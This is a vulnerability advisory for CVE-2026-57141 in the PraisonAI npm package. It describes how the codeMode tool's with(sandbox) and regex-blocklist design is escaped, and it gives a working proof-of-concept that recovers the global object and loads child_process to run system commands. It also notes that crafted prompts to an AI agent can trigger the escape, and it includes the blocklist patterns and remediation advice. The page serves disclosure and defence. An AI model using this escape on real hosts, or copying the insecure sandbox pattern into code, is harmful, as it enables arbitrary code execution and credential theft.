CVE-2026-57141: PraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool
Summary The codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts uses new Function() with a with(sandbox) pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via Function('return this')() to recover the global object, followed by global.require() with string concatenation to evade the blocklist regex.
Published Jun 18, 2026 · Updated Jul 20, 2026
Affected packages
praisonai
- Ecosystem
- npm
- Affected
- <= 1.7.1
- Fixed in
- 1.7.2
- Check
npm ls praisonai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts uses new Function() with a with(sandbox) pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via Function('return this')() to recover the global object, followed by global.require() with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.
Details
Vulnerable code (lines 187–191):
const fn = new Function(
'sandbox',
`with (sandbox) { ${code} }`
);
const result = fn(sandbox);The code parameter comes from LLM tool call arguments (the execute method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):
const blockedPatterns = [
/require\s*\(\s*['"]child_process['"]\s*\)/,
/require\s*\(\s*['"]fs['"]\s*\)/,
/import\s+.*from\s+['"]child_process['"]/,
/process\.exit/,
/eval\s*\(/,
];Three fundamental weaknesses:
- `with(sandbox)` does not provide isolation. The
withstatement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object setsprocess: undefinedandrequire: undefined, but these are recovered via the global scope: ``javascript const g = Function('return this')(); g.require('child_' + 'process')``
- Blocklist evasion via string concatenation. The regex
/require\s*\(\s*['"]child_process['"]\s*\)/requires the literal string'child_process'or"child_process"insiderequire(). Usingrequire('child_' + 'process')bypasses this because the regex sees a variable concatenation, not a literal string.
- `Function('return this')()` is not blocked. None of the blocklist patterns match
Function(,return this, orglobal.require.
PoC
Setup: Clean checkout at commit d5f1114a, Node.js v20.20.0 (tested environment).
Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):
// This code bypasses ALL blocklist patterns and achieves RCE:
const code = `
const Func = (function(){}).constructor;
const proc = Func('return process')();
console.log('process.version:', proc.version);
const g = Function('return this')();
const mod = 'child_' + 'process';
const cp = g.require(mod);
console.log('RCE:', cp.execSync('id').toString().trim());
`;Observed output (executed in this environment):
OUT: process.version: v20.20.0
OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)The escape was confirmed by executing the exact code-mode sandbox pattern (new Function('sandbox', 'with (sandbox) { ... }')) with the blocklist applied first. ALL blocklist patterns were bypassed, and the id command returned the real system user ID.
Negative control — blocklist correctly catches direct require:
const code = `require('child_process')`;
// Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"Negative control — blocklist correctly catches eval:
const code = `eval('process')`;
// Returns: "Blocked pattern detected: eval\s*\("Cleanup: No persistence needed; the code runs in-process.
Impact
An attacker who can influence the code parameter of the codeMode tool (via crafted prompts to an AI agent using praisonai-ts) achieves full arbitrary code execution on the host system. This includes:
- Read/write any file accessible to the process user
- Execute arbitrary system commands via
child_process - Exfiltrate environment variables containing API keys, tokens, and credentials
- Install persistent backdoors by writing to startup files
- Move laterally in containerized environments
Suggested remediation
The with(sandbox) + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:
- Use `vm` module with proper context isolation:
import { createContext, runInContext } from 'vm';
const sandbox = createContext({ /* safe globals only */ });
runInContext(code, sandbox, { timeout: 5000 });- Or use `isolated-vm` for true process-level isolation with separate V8 isolates.
- Or run code in a subprocess (like the Python
_execute_code_sandboxedpattern already used inpython_tools.py) with a clean environment and resource limits.
- If a blocklist approach must be retained, add patterns for:
Function(/new Functionconstructor/__proto__/prototypereturn this/return globalglobal/globalThis/windowBut note: blocklist approaches are inherently fragile and will continue to have bypasses.
Credited to sondt99.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-57134
npm PraisonAI MCPSecurity Basic/OAuth authentication policies accept invalid credentials without validation
high8.2Jun 18, 2026CVE-2026-57138
npm PraisonAI codeMode sandbox escape via Function constructor
critical9.9Jun 18, 2026CVE-2026-57139
npm PraisonAI MCPServer exposes unauthenticated HTTP tools/call
critical9.8Jun 18, 2026CVE-2026-57140
npm PraisonAI AgentOS exposes unauthenticated agent listing and invocation
critical9.4Jun 18, 2026
